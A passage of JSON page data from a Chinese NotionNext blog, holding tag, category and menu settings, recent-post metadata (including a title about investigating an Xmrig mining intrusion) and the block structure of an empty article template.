rgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-3","tags":["新闻","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容。","title":"EMPTY-ARTICLE-3","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:55.364Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9","pageCoverThumbnail":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9\u0026width=800\u0026fmt=webp","tagItems":[{"name":"新闻","color":"orange"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"47aba706-2cde-4eef-9fb8-0cdd0f7805c9":{"value":{"id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","version":7,"type":"page","content":["4f888598-436f-45ae-8798-cc8ab24c09c9","b695537b-33d7-4ddd-a1e0-44bf5b40f53f","c9343f3d-dc2f-4af9-8a25-0ad7c208ba60","45def727-02f6-4deb-83a9-69b7b266ee4d","6316fbc9-d6ed-4f69-af61-a4d2259d9111","4009c235-486f-46e0-853a-fe8181429f05","bf80f998-7dbb-4ecb-8327-baa30c18b6d1","8459ea2c-edbe-4726-a8a7-3ee8c80a3b94","4f1a0b85-c149-433d-b3c9-b7f926541529","4af440a2-cb6b-448c-8e5c-346fa88279c7","c76d05b0-646b-494b-92ea-d9136d82500e","08164ae5-c0d9-48b8-a7ec-a27b3cfa0fd1","13404196-5553-4065-89fd-844340054d07","39ceea91-795b-42c2-b94d-0f61dd710407","66839f7d-30bf-4925-89d5-b88afac3db8c"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"5673a15c-db7e-459c-ba9c-bf199bf47d61","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337111,"last_edited_time":1705630795364,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"5673a15c-db7e-459c-ba9c-bf199bf47d61","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"4f888598-436f-45ae-8798-cc8ab24c09c9":{"value":{"id":"4f888598-436f-45ae-8798-cc8ab24c09c9","type":"text","format":{"copied_from_pointer":{"id":"a758c06e-58d4-4c41-9edb-9b382d6bfbd2","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"a758c06e-58d4-4c41-9edb-9b382d6bfbd2"}},"b695537b-33d7-4ddd-a1e0-44bf5b40f53f":{"value":{"id":"b695537b-33d7-4ddd-a1e0-44bf5b40f53f","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["7ea9d2f5-d18c-4b1c-b32e-6875e9feb71d"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"6a2e864c-2508-464c-9afe-118d1e557294","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"6a2e864c-2508-464c-9afe-118d1e557294"}},"7ea9d2f5-d18c-4b1c-b32e-6875e9feb71d":{"value":{"id":"7ea9d2f5-d18c-4b1c-b32e-6875e9feb71d","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"f5b83eb8-1f73-40fb-a48d-c25d1bde99ed","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337154,"last_edited_time":1705594337154,"parent_id":"b695537b-33d7-4ddd-a1e0-44bf5b40f53f","parent_table":"block","alive":true,"copied_from":"f5b83eb8-1f73-40fb-a48d-c25d1bde99ed"}},"c9343f3d-dc2f-4af9-8a25-0ad7c208ba60":{"value":{"id":"c9343f3d-dc2f-4af9-8a25-0ad7c208ba60","type":"text","format":{"copied_from_pointer":{"id":"eb6f2991-c619-4351-8886-c158f8d72ca5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"eb6f2991-c619-4351-8886-c158f8d72ca5"}},"45def727-02f6-4deb-83a9-69b7b266ee4d":{"value":{"id":"45def727-02f6-4deb-83a9-69b7b266ee4d","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"b7341d91-76b8-46b5-825a-de5f585d4b99","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"b7341d91-76b8-46b5-825a-de5f585d4b99"}},"6316fbc9-d6ed-4f69-af61-a4d2259d9111":{"value":{"id":"6316fbc9-d6ed-4f69-af61-a4d2259d9111","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"64a86efd-2caa-4ca0-ba43-ed852b132802","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"64a86efd-2caa-4ca0-ba43-ed852b132802"}},"4009c235-486f-46e0-853a-fe8181429f05":{"value":{"id":"4009c235-486f-46e0-853a-fe8181429f05","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"7e1007d7-d850-4848-a758-1727cf2e6066","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"7e1007d7-d850-4848-a758-1727cf2e6066"}},"bf80f998-7dbb-4ecb-8327-baa30c18b6d1":{"value":{"id":"bf80f998-7dbb-4ecb-8327-baa30c18b6d1","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"cc2647bd-d705-4c34-b5fa-84eb1b34e7af","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"cc2647bd-d705-4c34-b5fa-84eb1b34e7af"}},"8459ea2c-edbe-4726-a8a7-3ee8c80a3b94":{"value":{"id":"8459ea2c-edbe-4726-a8a7-3ee8c80a3b94","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"4c6b1fd0-99bb-4394-b7c8-55b4f82c7564","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"4c6b1fd0-99bb-4394-b7c8-55b4f82c7564"}},"4f1a0b85-c149-433d-b3c9-b7f926541529":{"value":{"id":"4f1a0b85-c149-433d-b3c9-b7f926541529","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"b1cb1aa0-4990-4882-a640-50ff4d1c0610","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"b1cb1aa0-4990-4882-a640-50ff4d1c0610"}},"4af440a2-cb6b-448c-8e5c-346fa88279c7":{"value":{"id":"4af440a2-cb6b-448c-8e5c-346fa88279c7","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"7b99ddd6-3cf4-4ff2-97e6-24819200de4d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"7b99ddd6-3cf4-4ff2-97e6-24819200de4d"}},"c76d05b0-646b-494b-92ea-d9136d82500e":{"value":{"id":"c76d05b0-646b-494b-92ea-d9136d82500e","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"fbb5211a-e7ea-4eef-8ea6-184451e6ca5e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337123,"last_edited_time":1705594337123,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"fbb5211a-e7ea-4eef-8ea6-184451e6ca5e"}},"08164ae5-c0d9-48b8-a7ec-a27b3cfa0fd1":{"value":{"id":"08164ae5-c0d9-48b8-a7ec-a27b3cfa0fd1","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"68e507f5-3618-496f-b9cd-d47ee8b8e356","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"68e507f5-3618-496f-b9cd-d47ee8b8e356"}},"13404196-5553-4065-89fd-844340054d07":{"value":{"id":"13404196-5553-4065-89fd-844340054d07","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"a9118aeb-349d-474e-a4ff-ff3190383328","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"a9118aeb-349d-474e-a4ff-ff3190383328"}},"39ceea91-795b-42c2-b94d-0f61dd710407":{"value":{"id":"39ceea91-795b-42c2-b94d-0f61dd710407","type":"text","format":{"copied_from_pointer":{"id":"a58c8f9b-995f-406d-bdc8-ed2dab45a598","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"a58c8f9b-995f-406d-bdc8-ed2dab45a598"}},"66839f7d-30bf-4925-89d5-b88afac3db8c":{"value":{"id":"66839f7d-30bf-4925-89d5-b88afac3db8c","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"a6c9899f-912f-4400-adbc-a8f49228e160","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"a6c9899f-912f-4400-adbc-a8f49228e160"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b